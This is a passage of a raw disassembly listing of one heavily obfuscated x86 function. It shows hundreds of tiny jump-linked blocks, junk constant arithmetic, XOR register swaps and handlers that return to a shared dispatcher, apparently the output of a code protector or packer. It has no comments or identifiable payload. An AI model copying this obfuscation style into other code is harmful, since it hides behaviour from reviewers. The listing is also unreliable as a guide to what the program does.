mov ebp, esi pop esi sub ebp, 218429FBh shr ebp, 8 push ecx mov ecx, 57AF420Dh and ebp, ecx jmp loc_584841 ; --------------------------------------------------------------------------- loc_58F82D: ; CODE XREF: sub_580566+FD9Dj shr ah, 2 push edx mov dh, 21h push ebx mov bh, 0E0h add dh, bh pop ebx add ah, dh pop edx add ah, 4Eh inc ah push edx mov dh, 0CDh add dh, 8Eh neg dh not dh sub dh, 9Ch jmp loc_58DDB9 ; --------------------------------------------------------------------------- loc_58F853: ; CODE XREF: sub_580566+AAF6j add edi, esi pop esi push edx mov edx, 47BD0248h sub eax, edx pop edx add eax, 52DE5480h sub eax, 1D2743B7h jmp loc_58586D ; --------------------------------------------------------------------------- loc_58F86E: ; CODE XREF: sub_580566+EFDCj pop esi push esi mov esi, 4 add ebp, esi pop esi jmp loc_58F5B0 ; --------------------------------------------------------------------------- loc_58F87D: ; CODE XREF: sub_580566+BD4Aj mov ecx, ebx pop ebx and ecx, 16146F8Ch add ecx, 6D73666Eh xor ecx, 3D873EBAh shl ecx, 8 add ecx, 79DD75F2h jmp loc_587C03 ; --------------------------------------------------------------------------- loc_58F8A0: ; CODE XREF: sub_580566+E078j imul cl movzx cx, ah jmp loc_58F04C ; --------------------------------------------------------------------------- loc_58F8AB: ; CODE XREF: sub_580566+7CFBj mov eax, 0DAA18036h add edx, eax jmp loc_585019 ; --------------------------------------------------------------------------- loc_58F8B7: ; CODE XREF: sub_580566+FBF1j mov eax, 4 jmp loc_58FFE7 ; --------------------------------------------------------------------------- loc_58F8C1: ; CODE XREF: sub_580566+7D5Fj push ebp jmp loc_58F475 ; --------------------------------------------------------------------------- loc_58F8C7: ; CODE XREF: sub_580566+7333j mov eax, esi jmp loc_587AFD ; --------------------------------------------------------------------------- loc_58F8CE: ; CODE XREF: sub_580566+5207j pop esp add ebx, 4 push ecx jmp loc_590626 ; --------------------------------------------------------------------------- loc_58F8DB: ; CODE XREF: sub_580566+9B15j mov ecx, 40FB06A3h jmp loc_58EC2C ; --------------------------------------------------------------------------- loc_58F8E5: ; CODE XREF: sub_580566+E682j pop [esp-28h+arg_20] jmp loc_584979 ; --------------------------------------------------------------------------- loc_58F8ED: ; CODE XREF: sub_580566+DBA9j xchg ecx, [esp+0] mov esp, [esp+0] mov [esp+0], ecx mov ecx, esp add ecx, 4 jmp loc_585F87 ; --------------------------------------------------------------------------- loc_58F903: ; CODE XREF: sub_580566+F717j mov ecx, [esp+0] add esp, 4 dec eax jmp loc_585E2B ; --------------------------------------------------------------------------- loc_58F90F: ; CODE XREF: sub_580566+44C1j xor edi, [esp-18h+arg_E+2] mov esp, [esp-18h+arg_E+2] push small 0 jmp loc_585E5A ; --------------------------------------------------------------------------- loc_58F91E: ; CODE XREF: sub_580566+E9A0j pop esp idiv cx push 2CA9h mov [esp+26h+var_28+2], edx push esp pop edx add edx, 4 push esi mov esi, 5C6139E1h jmp loc_587E08 ; --------------------------------------------------------------------------- loc_58F93D: ; CODE XREF: sub_580566+EE84j not [esp-1Eh+arg_16] pop ecx xor esi, ecx xor ecx, esi xor esi, ecx xchg esi, ebx xor edx, ebx xor ebx, edx jmp loc_58AAB2 ; --------------------------------------------------------------------------- loc_58F952: ; CODE XREF: sub_580566+5970j push eax mov eax, 5AF95CA7h mov esi, eax pop eax jmp loc_585B66 ; --------------------------------------------------------------------------- loc_58F960: ; CODE XREF: sub_580566+ED25j mov [esp-8+arg_4], esp push esi jmp loc_58E297 ; --------------------------------------------------------------------------- loc_58F969: ; CODE XREF: sub_580566+F82Aj mov ebp, 4 add esi, ebp pop ebp push 52B0h mov [esp+0], ecx jmp loc_58DEED ; --------------------------------------------------------------------------- loc_58F97E: ; CODE XREF: sub_580566+C735j mov edi, esi jmp loc_5900F6 ; --------------------------------------------------------------------------- loc_58F985: ; CODE XREF: sub_580566+FE91j push esp push dword ptr [esp+0] jmp loc_586046 ; --------------------------------------------------------------------------- loc_58F98E: ; CODE XREF: sub_580566+E3D2j push 58C7h mov [esp-28h+arg_20], ebp jmp loc_5899DD ; --------------------------------------------------------------------------- loc_58F99B: ; CODE XREF: sub_580566+64F4j xor edi, ebp jmp loc_58AC87 ; --------------------------------------------------------------------------- loc_58F9A2: ; CODE XREF: sub_580566+AA78j add edi, eax pop eax sub edi, 1DFD61D9h add edi, eax add edi, 1DFD61D9h sub edi, 3DA74473h pop eax std push 4ACFh mov [esp-28h+arg_20], eax sub esp, 4 mov [esp-24h+arg_1A+2], edi push 17C4341Dh mov edi, [esp-20h+arg_16+2] push eax mov eax, esp push 4F22h mov [esp-18h+arg_E+2], edi jmp loc_58B5CB ; --------------------------------------------------------------------------- loc_58F9E4: ; CODE XREF: sub_580566+6774j mov bl, 6Bh add bl, 2Eh jmp loc_5895A7 ; --------------------------------------------------------------------------- loc_58F9EE: ; CODE XREF: sub_580566+A183j mov esi, edi pop edi inc esi sub esi, 5EF770B4h or esi, 431632EEh add esi, 0D9404532h jmp loc_58626B ; --------------------------------------------------------------------------- loc_58FA09: ; CODE XREF: sub_580566+4746j xor edx, 54922E53h dec edx xor edx, 0DD836646h jmp loc_58F1F1 ; --------------------------------------------------------------------------- loc_58FA1B: ; CODE XREF: sub_580566+6BD4j pop ebx mov edx, [esp-3Ch+arg_34] add esp, 4 add al, ch jmp loc_58A4D5 ; --------------------------------------------------------------------------- loc_58FA2C: ; CODE XREF: sub_580566+E413j add esp, 4 push ebp mov ebp, 56966BE3h and ecx, ebp pop ebp push edx mov edx, 1EFB718Dh xor ecx, edx mov edx, [esp-36h+arg_2C+2] add esp, 4 sub eax, 4D2E2F68h add eax, ecx jmp loc_584FB0 ; --------------------------------------------------------------------------- loc_58FA55: ; CODE XREF: sub_580566+E8DAj mov esi, 751079B7h jmp loc_5863F5 ; --------------------------------------------------------------------------- loc_58FA5F: ; CODE XREF: sub_580566+DAA7j pop edi add esp, 4 shr ecx, 0Bh jmp loc_584914 ; --------------------------------------------------------------------------- loc_58FA6B: ; CODE XREF: sub_580566+A260j push edx jmp loc_58B526 ; --------------------------------------------------------------------------- loc_58FA71: ; CODE XREF: sub_580566+F671j add ebp, 4 push ebp push [esp-20h+arg_1A+2] pop ebp pop [esp-20h+arg_16+2] pop esp push edi jmp loc_58D418 ; --------------------------------------------------------------------------- loc_58FA84: ; CODE XREF: sub_580566+93CAj mov [esp-18h+arg_E+2], esp add [esp-18h+arg_E+2], 4 mov ebx, [esp-18h+arg_E+2] add esp, 4 add ebx, 4 push ebp mov ebp, 4 add ebx, ebp jmp loc_58A059 ; --------------------------------------------------------------------------- loc_58FAA4: ; CODE XREF: sub_580566+8E94j mov esi, 54111770h sub ebx, esi pop esi xchg edi, ebx not edi xchg edi, ebx jmp loc_58F711 ; --------------------------------------------------------------------------- loc_58FAB7: ; CODE XREF: sub_580566+BD29j sub eax, 2A5C2A1Eh mov edx, [esp-14h+arg_A+2] add esp, 4 push edi mov edi, 7B1E5A00h sub edi, 4A613DE3h add eax, edi pop edi sub eax, ebx push ebx mov ebx, 61B271Ah jmp loc_58A44C ; --------------------------------------------------------------------------- loc_58FAE1: ; CODE XREF: sub_580566+96B8j add edx, 4 jmp loc_58BF8E ; --------------------------------------------------------------------------- loc_58FAE9: ; CODE XREF: sub_580566+94F1j add eax, ebx mov ebx, [esp-0Ch+arg_8] sub esp, 4 mov [esp-8+arg_4], ecx jmp loc_58C0E2 ; --------------------------------------------------------------------------- loc_58FAFC: ; CODE XREF: sub_580566+F73Bj neg dh and dh, 0D4h push ecx mov cl, 0BBh sub cl, 0FFh sub dh, 9Bh sub dh, 85h sub dh, cl add dh, 85h push eax mov al, 7 shl al, 8 and al, 0F7h inc al add al, 6Bh jmp loc_589DF4 ; --------------------------------------------------------------------------- loc_58FB23: ; CODE XREF: sub_580566+E1A2j add edx, esi pop esi push 5041h mov [esp-38h+arg_30], edx push [esp-38h+arg_34] pop edx jmp loc_58520E ; --------------------------------------------------------------------------- loc_58FB38: ; CODE XREF: sub_580566+4E93j pop esi jmp loc_586FB2 ; --------------------------------------------------------------------------- loc_58FB3E: ; CODE XREF: sub_580566+E625j not dword ptr [esp+0] jmp loc_58A521 ; --------------------------------------------------------------------------- loc_58FB46: ; CODE XREF: sub_580566+44DAj inc esi not esi jmp loc_58E621 ; --------------------------------------------------------------------------- loc_58FB4E: ; CODE XREF: sub_580566+720Fj add ebp, 0D4A5704h mov ecx, ebp jmp loc_58A1FD ; --------------------------------------------------------------------------- loc_58FB5B: ; CODE XREF: sub_580566+56A6j sub esp, 4 mov [esp+0Ah+var_C+2], ebx mov ebx, 437F344Bh push 5521h jmp loc_589CBF ; --------------------------------------------------------------------------- loc_58FB73: ; DATA XREF: sub_580566+3E0Eo xor [esp-30h+arg_28], edx xor edx, [esp-30h+arg_28] jmp loc_58AB11 ; --------------------------------------------------------------------------- loc_58FB7E: ; CODE XREF: sub_580566+A770j mov ebx, esp push esi mov esi, 6B116412h shl esi, 3 push edi mov edi, 26234948h jmp loc_5847D8 ; --------------------------------------------------------------------------- loc_58FB94: ; CODE XREF: sub_580566+7DB8j xchg esi, [esp-3Eh+arg_34+2] mov esp, [esp-3Eh+arg_34+2] mov [esp-3Eh+arg_34+2], ebp push edi mov edi, 21AF3607h mov ebp, edi pop edi add ebp, 0FFFFFFFFh or ebp, 0A7D3ADCh inc ebp xor ebp, 167D3B76h sub ebx, ebp jmp loc_58E3F1 ; --------------------------------------------------------------------------- loc_58FBBD: ; CODE XREF: sub_580566+AFA6j pop edx add eax, 4 xor eax, [esp+10h+var_10] xor [esp+10h+var_10], eax xor eax, [esp+10h+var_10] jmp loc_59008E ; --------------------------------------------------------------------------- loc_58FBCF: ; CODE XREF: sub_580566+B28Dj mov ebp, esp add ebp, 4 jmp loc_58FA71 ; --------------------------------------------------------------------------- loc_58FBDC: ; CODE XREF: sub_580566+CDDAj mov [esp-22h+arg_1A], ebp push ecx jmp loc_58BD9F ; --------------------------------------------------------------------------- loc_58FBE5: ; CODE XREF: sub_580566+6EEEj add ebp, eax mov eax, [esp+0] add esp, 4 add ebp, 4 jmp loc_58A9E6 ; --------------------------------------------------------------------------- loc_58FBF8: ; CODE XREF: sub_580566+EC13j mov esp, [esp+0] sub al, dh jmp loc_58BDE0 ; --------------------------------------------------------------------------- loc_58FC02: ; CODE XREF: sub_580566+A52Aj xor [esp-34h+arg_2C], ebx xor ebx, [esp-34h+arg_2C] mov esp, [esp-34h+arg_2C] jmp loc_58EF38 ; --------------------------------------------------------------------------- loc_58FC10: ; CODE XREF: sub_580566+E495j push eax mov eax, 2D3E421Dh dec eax shr eax, 1 not eax shr eax, 4 and eax, 529833C0h xor eax, 29001C4h add ebp, eax pop eax xchg ebp, [esp-1Eh+arg_16] pop esp push edi mov edi, 2B512F9Fh xor ebx, edi pop edi mov esi, ebx pop ebx add ebp, esi mov esi, [esp+0] jmp loc_590508 ; --------------------------------------------------------------------------- loc_58FC45: ; CODE XREF: sub_580566+D1D2j push eax jmp loc_58AFBA ; --------------------------------------------------------------------------- loc_58FC4B: ; CODE XREF: sub_580566+FF8Dj xor al, bl sub esp, 4 mov [esp-24h+arg_1A+2], ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp-24h+arg_1A+2] pop esp jmp loc_58691E ; --------------------------------------------------------------------------- loc_58FC6A: ; CODE XREF: sub_580566+AAA0j sub edx, 694FD02Ah xor ecx, edx mov edx, [esp-28h+arg_20] add esp, 4 or eax, ecx jmp loc_58F903 ; --------------------------------------------------------------------------- loc_58FC82: ; CODE XREF: sub_580566+9AEEj add edx, 4 push ebp mov ebp, 11615BEEh shl ebp, 2 inc ebp jmp loc_58AE0B ; --------------------------------------------------------------------------- loc_58FC97: ; CODE XREF: sub_580566+B19Cj add edi, ebp pop ebp jmp loc_589FB1 ; --------------------------------------------------------------------------- loc_58FC9F: ; CODE XREF: sub_580566+B9AAj pop ecx pop ebx jmp loc_58FAFC ; --------------------------------------------------------------------------- loc_58FCA6: ; CODE XREF: sub_580566+D240j xor dl, 0E7h jmp loc_58E6E1 ; --------------------------------------------------------------------------- loc_58FCAE: ; CODE XREF: sub_580566+98C8j push ecx jmp loc_5890BA ; --------------------------------------------------------------------------- loc_58FCB4: ; CODE XREF: sub_580566+49C6j mov ebx, 40D3239Eh inc ebx xor ebx, 153A0AF6h mov esi, ebx pop ebx jmp loc_58B1AB ; --------------------------------------------------------------------------- loc_58FCC8: ; CODE XREF: sub_580566+C1C8j xchg ecx, [esp] pop esp jmp loc_586FDB ; --------------------------------------------------------------------------- loc_58FCD1: ; CODE XREF: sub_580566+F86Dj push edx mov dh, 0B0h shl dh, 2 or dh, 42h jmp loc_585C11 ; --------------------------------------------------------------------------- loc_58FCDF: ; CODE XREF: sub_580566+E219j mov [esp-28h+arg_20], ebx jmp loc_58CED2 ; --------------------------------------------------------------------------- loc_58FCE7: ; CODE XREF: sub_580566+9826j sub bl, 4Eh add bl, al add bl, 4Eh pop eax add bl, al sub bl, 0D3h jmp loc_58BF00 ; --------------------------------------------------------------------------- loc_58FCFA: ; CODE XREF: sub_580566+9875j pop edx push edi mov edi, 1B61063Fh shl edi, 5 add edi, 75C15EC5h shr edi, 6 sub edi, 3878896h sub ecx, 619C72FEh sub ecx, 2D04199Ch add ecx, edi add ecx, 2D04199Ch jmp loc_584AFD ; --------------------------------------------------------------------------- loc_58FD2C: ; CODE XREF: sub_580566+84FCj push [esp+8+var_8] jmp loc_58A4F2 ; --------------------------------------------------------------------------- loc_58FD34: ; CODE XREF: sub_580566+B642j push ecx jmp loc_58FDFF ; --------------------------------------------------------------------------- loc_58FD3A: ; CODE XREF: sub_580566+7D4Dj mov edi, [esp-1Ch+arg_12+2] add esp, 4 jmp loc_58AB5F ; --------------------------------------------------------------------------- loc_58FD45: ; CODE XREF: sub_580566+CD3Dj push edx mov edx, esp push 554Ch mov [esp+0], ecx push eax push 55DE6207h mov eax, [esp+8+var_8] add esp, 4 xor eax, 55DE6203h mov ecx, eax pop eax add edx, ecx mov ecx, [esp+0] add esp, 4 jmp loc_58CB96 ; --------------------------------------------------------------------------- loc_58FD77: ; CODE XREF: sub_580566+4BA5j sub ebp, 4D415167h add ebp, 0F5B12F12h jmp loc_59051E ; --------------------------------------------------------------------------- loc_58FD88: ; CODE XREF: sub_580566+8A9Fj push 3DCEh mov [esp+0], ebp jmp loc_58F969 ; --------------------------------------------------------------------------- loc_58FD95: ; CODE XREF: sub_580566+5BD2j and eax, ebx push [esp-2Ch+arg_24] mov ebx, [esp-28h+arg_20] add esp, 4 push ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx jmp loc_585AEA ; --------------------------------------------------------------------------- loc_58FDB5: ; CODE XREF: sub_580566+C6EBj shr edx, 2 xor edx, 61B44A73h shr edx, 4 jmp loc_5853BC ; --------------------------------------------------------------------------- loc_58FDC6: ; CODE XREF: sub_580566+EC08j sub al, 0ACh mov dx, [esp+0] add esp, 2 push ebx push ecx mov cl, 2Ch jmp loc_58FCD1 ; --------------------------------------------------------------------------- loc_58FDD8: ; CODE XREF: sub_580566+6CB3j add esp, 4 push edx mov edx, 2437166Bh push ecx mov ecx, 0D2016C9h or ecx, 7FD869D0h sub ecx, 0FFFFFFFFh sub ecx, 0FFFFFFFFh sub ecx, 0FFFFFFFFh push edx jmp loc_58C62A ; --------------------------------------------------------------------------- loc_58FDFF: ; CODE XREF: sub_580566+F7CFj mov cl, 0BBh sub cl, 26h push edx mov dl, 6 xor cl, dl pop edx sub bl, cl pop ecx push ecx mov ch, 0E2h xor bl, ch pop ecx sub bl, 0DEh sub cl, bl pop ebx jmp loc_588B07 ; --------------------------------------------------------------------------- loc_58FE1E: ; CODE XREF: sub_580566+885Dj pop edx jmp loc_58D1E1 ; --------------------------------------------------------------------------- loc_58FE24: ; CODE XREF: sub_580566+704Aj pop eax pop [esp+0Ah+var_C+2] mov esp, [esp+6+var_8+2] add edi, 4 jmp loc_58ACB6 ; --------------------------------------------------------------------------- loc_58FE36: ; DATA XREF: sub_580566+3C46o jmp loc_584473 ; --------------------------------------------------------------------------- loc_58FE3B: ; CODE XREF: sub_580566+847Dj push dword ptr [esp+4] pop edx pop dword ptr [esp+0] jmp loc_58950F ; --------------------------------------------------------------------------- loc_58FE48: ; CODE XREF: sub_580566+D88Aj add esp, 4 sub ebp, 0D7678E6h add eax, ebp pop ebp push esi mov esi, 32994564h xor esi, 32994560h add eax, esi mov esi, [esp+0] add esp, 4 sub esp, 4 mov [esp+0], eax push [esp-10h+arg_A+2] pop eax pop dword ptr [esp+0] pop esp test ecx, eax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58FE7F: ; CODE XREF: sub_580566+E38Fj pop edx mov edx, [esp-28h+arg_20] add esp, 4 jmp loc_58C3CD ; --------------------------------------------------------------------------- loc_58FE8E: ; CODE XREF: sub_580566+D795j xchg ecx, [esp-20h+arg_16+2] pop esp add ecx, 0FCC9E52Ah mov esi, ecx pop ecx jmp loc_58E170 ; --------------------------------------------------------------------------- loc_58FEA0: ; CODE XREF: sub_580566+EDCEj add eax, 1DFD0821h push edx mov edx, 42674185h sub eax, edx jmp loc_58AEB3 ; --------------------------------------------------------------------------- loc_58FEB2: ; CODE XREF: sub_580566+D415j xor eax, ebx push 741Eh mov [esp-2Ch+arg_24], edi push 0FFCh mov [esp-28h+arg_20], ecx mov ecx, 45D3E75h mov edi, 747A0CA1h jmp loc_58E784 ; --------------------------------------------------------------------------- loc_58FED3: ; CODE XREF: sub_580566+ACCFj ; sub_580566+B3A3j ... push dword ptr [edi+24h] sub [esp-8+arg_4], 33343C5Eh jmp loc_589B2B ; --------------------------------------------------------------------------- loc_58FEE2: ; CODE XREF: sub_580566+C820j dec cl sub cl, 9Eh dec cl sub esp, 2 jmp loc_58D35E ; --------------------------------------------------------------------------- loc_58FEF4: ; CODE XREF: sub_580566+C624j mov bl, al jmp loc_58CD72 ; --------------------------------------------------------------------------- loc_58FEFB: ; CODE XREF: sub_580566+D8F7j pop esi jmp loc_58E01F ; --------------------------------------------------------------------------- loc_58FF01: ; CODE XREF: sub_580566+CCEBj jmp loc_584473 ; --------------------------------------------------------------------------- loc_58FF06: ; CODE XREF: sub_580566+4577j add edx, 148D0A64h jmp loc_585EC6 ; --------------------------------------------------------------------------- loc_58FF11: ; CODE XREF: sub_580566+6A47j add edi, 8688CCE8h add eax, edi pop edi jmp loc_589BDA ; --------------------------------------------------------------------------- loc_58FF1F: ; CODE XREF: sub_580566+55E4j xor [esp+0], eax xor eax, [esp+0] pop esp mov [esp-2Ah+arg_20+2], edx not [esp-2Ah+arg_20+2] pop edx xchg edx, ebx push eax push ebx mov eax, [esp+0] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-22h+arg_1A] pop esp jmp loc_58C867 ; --------------------------------------------------------------------------- loc_58FF49: ; CODE XREF: sub_580566+526Dj add al, cl mov ecx, [esp+0] push ebp mov ebp, esp add ebp, 4 push ecx push 4 pop ecx jmp loc_58DA16 ; --------------------------------------------------------------------------- loc_58FF63: ; CODE XREF: sub_580566+687Fj push ebx push ebp mov ebp, 73576A67h dec ebp inc ebp inc ebp push ecx jmp loc_58B48E ; --------------------------------------------------------------------------- loc_58FF73: ; CODE XREF: sub_580566+6D93j push ebx push ecx mov ecx, 32486D85h jmp loc_58DB29 ; --------------------------------------------------------------------------- loc_58FF7F: ; CODE XREF: sub_580566+7793j sub edi, 4 xchg edi, [esp-24h+arg_1A+2] mov esp, [esp-24h+arg_1A+2] mov [esp-24h+arg_1A+2], ecx mov ecx, 664A3421h jmp loc_58BE1E ; --------------------------------------------------------------------------- loc_58FF98: ; CODE XREF: sub_580566+C6FEj push ecx mov ecx, esp sub esp, 4 mov [esp-28h+arg_20], ebp push edx mov edx, 471F0556h shr edx, 6 inc edx xor edx, 2D4F75E9h push 0 sub [esp-20h+arg_16+2], 59D8494Eh sub [esp-20h+arg_16+2], edx add [esp-20h+arg_16+2], 59D8494Eh jmp loc_584C9F ; --------------------------------------------------------------------------- loc_58FFCF: ; CODE XREF: sub_580566+B72Aj mov eax, 2EC03566h jmp loc_588DE1 ; --------------------------------------------------------------------------- loc_58FFD9: ; CODE XREF: sub_580566+9CD3j sub eax, 55A50A9Bh shr eax, 3 push esi jmp loc_58DA8B ; --------------------------------------------------------------------------- loc_58FFE7: ; CODE XREF: sub_580566+F356j add ebx, eax mov eax, [esp+16h+var_18+2] sub esp, 4 mov [esp+1Ah+var_1C+2], eax jmp loc_585833 ; --------------------------------------------------------------------------- loc_58FFF7: ; CODE XREF: sub_580566+AE34j mov ecx, [esp-42h+arg_38+2] add esp, 4 push 43460CE2h push [esp-42h+arg_38+2] jmp loc_58ACCD ; --------------------------------------------------------------------------- loc_59000D: ; CODE XREF: sub_580566+82EAj pop ecx pop ebx sub eax, edi jmp loc_58935F ; --------------------------------------------------------------------------- loc_590016: ; CODE XREF: sub_580566+CC3Cj mov ebp, [esp-28h+arg_20] jmp loc_587210 ; --------------------------------------------------------------------------- loc_59001E: ; CODE XREF: sub_580566+FB8Bj push ecx push esp pop ecx sub esp, 4 mov [esp-20h+arg_16+2], ebx push 79B8h mov [esp-1Ch+arg_12+2], edx mov edx, 4 mov ebx, edx mov edx, [esp-1Ch+arg_12+2] add esp, 4 jmp loc_5855A2 ; --------------------------------------------------------------------------- loc_590047: ; CODE XREF: sub_580566+96FCj xor [esp-32h+arg_28+2], esi xor esi, [esp-32h+arg_28+2] pop esp sar byte ptr [esp-36h+arg_2C+2], cl pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_590057: ; CODE XREF: sub_580566+8796j sub edx, 2 xchg edx, [esp+4+var_4] mov esp, [esp+4+var_4] mov word ptr [esp+4+var_4], dx push ax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_59006F: ; CODE XREF: sub_580566+8E04j ; sub_580566+FE8Bj sub esp, 4 mov [esp+0Ch+var_C], ebx add [esp+0Ch+var_C], 15680B99h mov eax, [esp+0Ch+var_C] push 3D31h mov [esp+10h+var_10], eax mov eax, esp jmp loc_5859E0 ; --------------------------------------------------------------------------- loc_59008E: ; CODE XREF: sub_580566+F664j mov esp, [esp+10h+var_10] or eax, eax jnz loc_58FED3 push 363Bh jmp loc_58B392 ; --------------------------------------------------------------------------- loc_5900A3: ; DATA XREF: sub_580566+3C82o push dword ptr [edi+40h] jmp loc_584473 ; --------------------------------------------------------------------------- loc_5900AB: ; CODE XREF: sub_580566+9E2Dj xor edx, eax jmp loc_58E7AE ; --------------------------------------------------------------------------- loc_5900B2: ; CODE XREF: sub_580566+5A5Bj sub esp, 4 mov [esp+0], esi mov esi, esp push ecx sub esp, 4 jmp loc_58F512 ; --------------------------------------------------------------------------- loc_5900C9: ; CODE XREF: sub_580566+5D69j add eax, 22C21DAAh and eax, 78036477h xor eax, 516F4652h add ecx, eax pop eax xchg eax, ecx jmp loc_58A943 ; --------------------------------------------------------------------------- loc_5900E1: ; CODE XREF: sub_580566+9BA5j add edx, edi pop edi xchg edx, [esp+8+var_8] pop esp jmp loc_58EB11 ; --------------------------------------------------------------------------- loc_5900ED: ; DATA XREF: sub_580566+3CE6o mov ax, word ptr [esp-0Ch+arg_8] jmp loc_59001E ; --------------------------------------------------------------------------- loc_5900F6: ; CODE XREF: sub_580566+F41Aj mov esi, [esp-8+arg_4] add esp, 4 jmp loc_58D700 ; --------------------------------------------------------------------------- loc_590101: ; CODE XREF: sub_580566+F02Aj push eax mov ah, 8Ch jmp loc_58C97C ; --------------------------------------------------------------------------- loc_590109: ; CODE XREF: sub_580566+4A85j mov ebp, ecx pop ecx add ecx, 284C112Ch add ecx, ebp jmp loc_589720 ; --------------------------------------------------------------------------- loc_590119: ; CODE XREF: sub_580566+F18Ej mov dl, bl pop ebx mov [edi+eax*4+1], dl jmp loc_58761A ; --------------------------------------------------------------------------- loc_590125: ; CODE XREF: sub_580566+43CAj push esp jmp loc_58D256 ; --------------------------------------------------------------------------- loc_59012B: ; CODE XREF: sub_580566+584Aj and ecx, ebp pop ebp shr ecx, 7 push ebx jmp loc_5894E4 ; --------------------------------------------------------------------------- loc_590137: ; CODE XREF: sub_580566+6AF1j pop ecx sub ebx, 0FDA7C8Ch jmp loc_58BCCA ; --------------------------------------------------------------------------- loc_590143: ; CODE XREF: sub_580566+8FB8j add esp, 4 jmp loc_58BAEA ; --------------------------------------------------------------------------- loc_59014B: ; CODE XREF: sub_580566+99A9j push esp pop ebx push esi mov esi, 4 add ebx, esi pop esi push eax jmp loc_58F8B7 ; --------------------------------------------------------------------------- loc_59015C: ; CODE XREF: sub_580566+F068j pop edi jmp loc_58A7CB ; --------------------------------------------------------------------------- loc_590162: ; CODE XREF: sub_580566+9055j mov ecx, [esp+4+var_4] add esp, 4 jmp loc_585695 ; --------------------------------------------------------------------------- loc_590170: ; CODE XREF: sub_580566+6EA2j push ebx push 5C1h mov [esp-1Eh+arg_16], esi mov esi, 7F425145h xor esi, 66B1739Ah xor esi, 19F302DFh push esi push ebx mov ebx, 1E6612BEh add [esp-16h+arg_12], 6E022F60h sub [esp-16h+arg_12], ebx sub [esp-16h+arg_12], 6E022F60h pop ebx pop ebx add ebx, 1E6612BEh pop esi jmp loc_586F99 ; --------------------------------------------------------------------------- loc_5901B3: ; CODE XREF: sub_580566+CFADj neg ebp push esi mov esi, 55283F97h jmp loc_58B1BE ; --------------------------------------------------------------------------- loc_5901C0: ; CODE XREF: sub_580566+908Aj add esp, 4 push eax mov ah, bl push ebx mov bl, ah mov cl, bl pop ebx mov eax, [esp-20h+arg_16+2] add esp, 4 pop ebx mov dh, cl pop ecx add al, 0ACh jmp loc_58F16C ; --------------------------------------------------------------------------- loc_5901E0: ; CODE XREF: sub_580566+DA38j add esi, 36AF5CB9h pop ebx jmp loc_589EF5 ; --------------------------------------------------------------------------- loc_5901EC: ; CODE XREF: sub_580566+B7A7j sub edi, ebp add edi, 6ED86CEAh pop ebp xchg edi, [esp-2Ch+arg_24] jmp loc_584D63 ; --------------------------------------------------------------------------- loc_5901FD: ; CODE XREF: sub_580566+57BAj sub esp, 4 mov [esp+0], eax mov eax, esp push esi mov esi, 6395999h dec esi push eax mov eax, 477472Dh shr eax, 8 shr eax, 5 not eax or eax, 3C6B37B9h add eax, 59C337CEh sub eax, 5FFC915Fh add esi, eax pop eax add eax, esi pop esi push esi sub esp, 4 mov [esp+8+var_8], edi jmp loc_58EC5E ; --------------------------------------------------------------------------- loc_590241: ; DATA XREF: sub_580566+3D36o push [esp-30h+arg_28] jmp loc_585150 ; --------------------------------------------------------------------------- loc_590249: ; CODE XREF: sub_580566+7C08j push 2 pop ecx add esi, ecx push [esp-28h+arg_20] mov ecx, [esp-24h+arg_1A+2] push edi mov edi, esp push eax mov eax, 62A5602Fh jmp loc_58DCBC ; --------------------------------------------------------------------------- loc_590265: ; CODE XREF: sub_580566+BBD5j push edx mov dl, ah mov ch, dl jmp loc_58AAA3 ; --------------------------------------------------------------------------- loc_59026F: ; CODE XREF: sub_580566+69F4j mov bl, 4Dh neg bl jmp loc_58B132 ; --------------------------------------------------------------------------- loc_590278: ; CODE XREF: sub_580566+A7ADj mov [esp-2Ch+arg_24], eax push ebp mov ebp, 26DD18BAh add [esp-28h+arg_24], 25F67C85h sub [esp-28h+arg_24], 3E5637D0h push esi mov esi, 200A62CDh sub [esp-24h+arg_24], 296B2389h add [esp-24h+arg_24], 0D587E59h sub [esp-24h+arg_24], esi jmp loc_59073A ; --------------------------------------------------------------------------- loc_5902B0: ; CODE XREF: sub_580566+87C7j push edi jmp loc_58467D ; --------------------------------------------------------------------------- loc_5902B6: ; CODE XREF: sub_580566+ECA9j pop esi pop [esp-14h+arg_A+2] pop esp sub esp, 4 jmp loc_5892CC ; --------------------------------------------------------------------------- loc_5902C3: ; CODE XREF: sub_580566+5A96j push esp pop edx push ecx jmp loc_58F647 ; --------------------------------------------------------------------------- loc_5902CB: ; CODE XREF: sub_580566+E254j pop [esp-28h+arg_20] push eax mov eax, 4 jmp loc_586728 ; --------------------------------------------------------------------------- loc_5902D9: ; CODE XREF: sub_580566+8731j mov eax, [esp+4+var_4] jmp loc_588022 ; --------------------------------------------------------------------------- loc_5902E1: ; CODE XREF: sub_580566+B227j pop edx sub al, 62h add al, 0C5h add al, bl sub al, 0C5h add al, 62h pop ebx push ecx push ebx mov bl, 60h mov cl, 3Ch xor cl, bl jmp loc_58F0DB ; --------------------------------------------------------------------------- loc_5902FA: ; CODE XREF: sub_580566+AD6Aj add esp, 4 mov ebx, [esp-24h+arg_1A+2] add esp, 4 jmp loc_58F82D ; --------------------------------------------------------------------------- loc_590308: ; CODE XREF: sub_580566+978Cj shr ecx, 7 sub ecx, 35BC4561h xor ecx, 0CA920F67h jmp loc_586D2F ; --------------------------------------------------------------------------- loc_59031C: ; CODE XREF: sub_580566+90EFj xor ecx, [esp-20h+arg_16+2] mov esp, [esp-20h+arg_16+2] imul ecx sub esp, 4 jmp loc_585AB7 ; --------------------------------------------------------------------------- loc_59032F: ; CODE XREF: sub_580566+BC48j mov esp, [esp-2Ch+arg_24] ror word ptr [esp-2Ch+arg_24], cl pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_59033C: ; DATA XREF: sub_580566+3C42o mov cx, [esp+0] push ebp mov ebp, esp push 34E5h mov [esp+4+var_4], esi mov esi, 4D533BEAh add esi, 375C41CAh and esi, 8EC22ABh xor esi, 3FBF17CDh push ebp mov ebp, 7BAE1046h not ebp dec ebp not ebp sub ebp, 0BAC147B0h jmp loc_586D8E ; --------------------------------------------------------------------------- loc_590378: ; CODE XREF: sub_580566+D858j pop eax sub bl, 0DAh sub al, bl mov ebx, [esp+10h+var_10] add esp, 4 push dx push eax mov ah, 46h jmp loc_58AD69 ; 